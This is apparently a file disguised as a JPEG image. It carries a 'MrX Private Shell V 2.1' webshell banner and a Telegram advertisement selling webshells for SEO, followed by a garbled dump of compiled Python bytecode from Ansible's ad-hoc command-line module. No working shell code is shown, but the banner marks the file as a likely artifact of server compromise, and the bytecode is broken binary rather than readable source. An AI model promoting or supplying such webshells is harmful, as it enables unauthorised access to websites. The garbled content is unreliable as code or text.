����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
�)g& � @ s� d dl mZmZmZ eZd dlmZ d dlm Z
d dlmZ d dlm
Z d dlmZmZmZ d dlmZ d dlmZ d d lmZ d d
lmZ d dlmZ d dlmZ d d
lm Z e � Z!G dd� de�Z"ddd�Z#e$dkr�e#� dS )� )�absolute_import�division�print_function)�CLI)� constants)�context)�option_helpers)�AnsibleError�AnsibleOptionsError�AnsibleParserError)�TaskQueueManager)�to_text)�parse_kv)� from_yaml)�Playbook)�Play)�Displayc sD e Zd ZdZdZ� fdd�Z� fdd�Zdd� Z� fd d
�Z� Z S )�AdHocCLIz� is an extra-simple tool/framework/API for doing 'remote things'.
this command allows you to define and run a single task 'playbook' against a set of hosts
�ansiblec s� t t| �jdddd� t�| j� t�| j� t�| j� t�| j� t� | j� t�
| j� t�| j� t�| j� t�
| j� t�| j� t�| j� t�| j� | jjddddtjd � | jjd
ddd
tj tjd � | jjdddd� dS )z* create an options parser for bin/ansible z%prog <host-pattern> [options]z>Define and run a single task 'playbook' against a set of hostsz=Some actions do not make sense in Ad-Hoc (include, meta, etc))�usageZdesc�epilogz-az--args�module_argsz�The action's options in space separated k=v format: -a 'opt1=val1 opt2=val2' or a json string: -a '{"opt1": "val1", "opt2": "val2"}')�dest�help�defaultz-mz
--module-name�module_namez*Name of the action to execute (default=%s)�args�patternzhost pattern)�metavarr N)�superr �init_parser�opt_helpZadd_runas_options�parserZadd_inventory_optionsZadd_async_optionsZadd_output_optionsZadd_connect_optionsZadd_check_optionsZadd_runtask_optionsZadd_vault_optionsZadd_fork_optionsZadd_module_optionsZadd_basedir_optionsZadd_tasknoplay_options�add_argument�CZDEFAULT_MODULE_ARGSZDEFAULT_MODULE_NAME)�self�� __class__� �5/usr/lib/python3.9/site-packages/ansible/cli/adhoc.pyr "